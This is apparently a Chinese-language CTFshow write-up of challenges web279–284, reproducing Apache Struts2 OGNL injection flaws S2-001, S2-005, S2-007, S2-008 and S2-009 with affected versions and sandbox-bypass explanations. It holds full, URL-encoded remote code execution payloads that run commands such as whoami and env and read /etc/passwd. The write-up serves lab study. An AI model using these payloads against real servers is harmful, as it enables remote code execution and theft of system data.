java CTFshow
前面主要是堆S2的系列漏洞复现,现在S2用的也比较少了,所以就大致过了一遍
web279
首先打开靶场,只有一个whereisflag的链接,点击之后跳到如下界面

一个需要登录的,纯萌新,就是半学半写,提示在url上面,S2-001,这个没了解过,于是就去搜索了一下这个是什么,有什么漏洞之类的。
1 | //获取tomcat路径 |
要进行url编码,否则会报错


或者利用工具:struts2scan
payload命令详解
%的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值#的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用$主要是在Struts 2配置文件中,引用OGNL表达式
payload使用了Struts2的OGNL表达式语言来执行以下操作
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start()以这段代码为例,该代码创建了一个新的进程,并执行了一个命令,即whoami,接着通过#b=#a.getInputStream()获取命令输出的输入流,通过#c将输入流读取为字符流,#d创建一个缓冲字符读取器来读取字符流,#e创建一个字符数组来存储读取到的字符,#d.read(#e)将字符读取到字符数组中,#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse")用于获取当前请求的HttpServeletResponse对象,最后,通过代码#f.getWriter().println(new java.lang.String(#e))#f.getWriter().flush()#f.getWriter().close()将字符数组转换为字符串,并将其输出到 HttpServletResponse 的输出流中
知识总结
S2-001
Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。(了解是个框架就行)
漏洞影响范围:WebWork 2.2.0-WebWork 2.2.5,Struts 2.0.0-Struts 2.0.8

以后遇到可以通过这个界面往S2这块联想,测试的话,%{1+1}如果回显是2,那么就可以往这块去做
找到的大佬制作的可视集成工具,牛逼

web280

S2-005
影响版本:Struts 2.0.0-2.1.8.1
前面和第一题相同,点进去之后可以同理知道本题的漏洞是S2-005,直接去搜索漏洞
- struts2 会将 http 的每个参数名解析为 OGNL 语句执行(可理解为 java 代码)。
- S2-003 使用
\u0023绕过s2对#的防御 - S2-003 后官方增加了安全模式(沙盒)
- S2-005 使用OGNL表达式将沙盒关闭,继续执行代码
- 通过 unicode 编码 (\u0023) 或 8 进制 (\43) 即绕过了安全限制,
找到一个很形象的描述,S2-003修补方案把自己上了一个锁,但是却把钥匙留在了锁上面。XWork会将GET参数的键和值利用OGNL表达式解析成Java语句。
那么我们就知道S2-005是在S2-003的基础上实现的
burpsuite抓包之后,修改为post上传
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
1 | redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('cat /etc/passwd'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()} |
1 | ('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d.lang.Runtime))=1 |
web281

S2-007
影响版本:Struts 2.0.0 - 2.2.3
在 S2 中,用户可以设置表单每个字段的规则验证,如果类型转换错误时,就会进行错误的字符串拼接,通过闭合引号导致 ognl 的语法解析。
后端从 entry.getValue() 获取到输入的参数,当运算出现错误的时候,会发起强制类型转换,之后进入函数 getOverrideExpr。在函数 getOverrideExpr 中,传入的参数会在两边拼接单引号,使得参数可以逃逸字符串的包裹,进而被解析并导致代码执行。
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29+%2B+%27在age里面回显,在env那里可以实现rce
web282
S2-008
影响版本:Struts 2.1.0 – 2.3.1
涉及多个漏洞,主要原因是后端对传入参数没有严格限制,导致多个地方可以执行恶意代码传入?debug=command&expression=即可执行OGNL表达式

题目提供了两种姿势,但是cookie那种对cookie的名称有较多限制,在传入struts2之前就被处理,也没有找到有说的,都是用第二种或者直接上工具(u1s1,我要你那工具运行的截图干嘛,没卵用)
payload:?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29

web283
S2-009
影响版本:Struts 2.0.0 - Struts 2.3.1.1
S2-009是S2-005的修复绕过,现在为了防止请求参数名中的OGNL表达式执行,主要做了以下两点:
添加了类SecurityMemberAccess,且其属性allowStaticMethodAccess默认为false,来防止利用OGNL表达式去执行Java方法;
在拦截器ParametersInterceptor中对请求参数名进行正则表达式白名单字符的匹配,来防止特殊符号(比如:#符号)经过unicode编码后的绕过。
官方在参数拦截器中,将接受参数的正则进行了升级
1 | private String acceptedParamNames = "[a-zA-Z0-9\.\]\[\(\)_']+"; |
这次的绕过使用到了OGNL表达式求值的另一种写法:[(ognl_java_code)(fuck)]

记一下一般的样式,混个眼熟

访问ajax/example5(有些是example5.action)
1 | ip/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=.lang.Runtime.exec(%27env%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=.apache.struts2.ServletActionContext.getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27) |
web284
S2-012

参考文章:
https://blog.csdn.net/mole_exp/article/details/122551201
https://blog.csdn.net/q20010619/article/details/120729447
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/il581p16knx71t1u
语雀文档ID: 188065505